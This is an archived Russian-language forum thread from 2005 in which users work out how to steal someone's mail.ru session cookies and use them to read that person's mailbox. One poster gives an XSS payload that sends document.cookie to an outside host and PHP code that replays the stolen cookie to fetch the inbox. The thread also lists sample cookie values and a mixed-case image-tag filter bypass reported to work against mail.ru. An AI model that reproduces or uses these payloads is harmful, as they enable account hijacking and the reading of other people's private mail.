Просмотр полной версии : Передача cookies
Вот встала у меня такая задача : имея куки допустим c mail.ru мне надо чтоб скрипт(php) передовал куки серверу и дальше лазил по ящику....
Подскажите возможнолт это реализовать ?
мож хоть кто ссылочку даст на описания таких куков ...
LittleLamer
25.03.2005, 12:53
Да, возможно. Нужно знать либо HTTP протокол, тогда fsockopen() и т.д. Либо юзать setcookie().
Мне более по душе первое :)
Да, возможно. Нужно знать либо HTTP протокол, тогда fsockopen() и т.д. Либо юзать setcookie().
Мне более по душе первое :)
Это хорошо, что можно :)
Приведи примерчик плиз!!!
ну например для того же майл ру передаём
mrcu=C3DC424333243DD60E4D0100007F
Mpopl=1187863386
MailUser=1
LittleLamer
25.03.2005, 21:22
Например ты почил куки таким (или похожим) способом:
<img src="javascript:img=new Image();img.src='http://mysite.com/xxx.php?cooki='+escape(document.cookie)">
(для маила это конечно не работает, это для примера)
$cooki=$_GET["cooki"];
$req="GET /cgi-bin/msglist?folder=0 HTTP/1.0\r\nHost: win.mail.ru\r\nReferer: http://win.mai.ru/cgi-bin/msglist?folder=0\r\nCookie: ".$cooki."\r\n\r\n";
$f=fsockopen("win.mail.ru", 80);
fwrite($f, $req);
$dt="";
while (!feof($f))
$dt.=fread($f, 1024);
fclose($f);
Терь в $dt будет содержаться содержимое страницы /cgi-bin/msglist?folder=0 (это список последних писем в папке Входящие)
P.S.: за понятность написанного ответственность нести не хочу :cool:
LittleLamer
25.03.2005, 21:24
И ещё. Ты в майле xss какой нить знаешь?
Почти всё нонятно, токо есть несколько вопросов
1) Зачем здесь точки и два перевода строки Cookie: ".$cooki."\r\n\r\n";
2) И здесь зачем точка после $dt.=
Вроде по синтаксису можно без них... или я неправ ?
3) маил ру ща JaVaScRiPt пропускает
LittleLamer
26.03.2005, 00:30
1) два перевода строки - это спецификация HTTP протокола и означает конец запроса
2) $dt.=fread($f, 1024)это в php означает увеличения строки $dt на прочитанное из сокета $f. Т.е. если точки не было бы, то в конце цикла в $dt хранилось бы не всё содержимое страницы, а только самая последняя часть
3) <img src=JaVaScRiPt:alert()>
(JaVaScRiPt "дословно")
mail.ru это не пропускает, уточни плиз
1) а здесть то зачем точки .$cooki. ?
2) тег img на mail.ru всегда фильтровался, а image нет
так вот работает :
<image src=JaVaScRiPt:alert()>
JaVaScRiPt - разными регистрами
LittleLamer
26.03.2005, 02:46
точки - это в php строки складываются :)
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot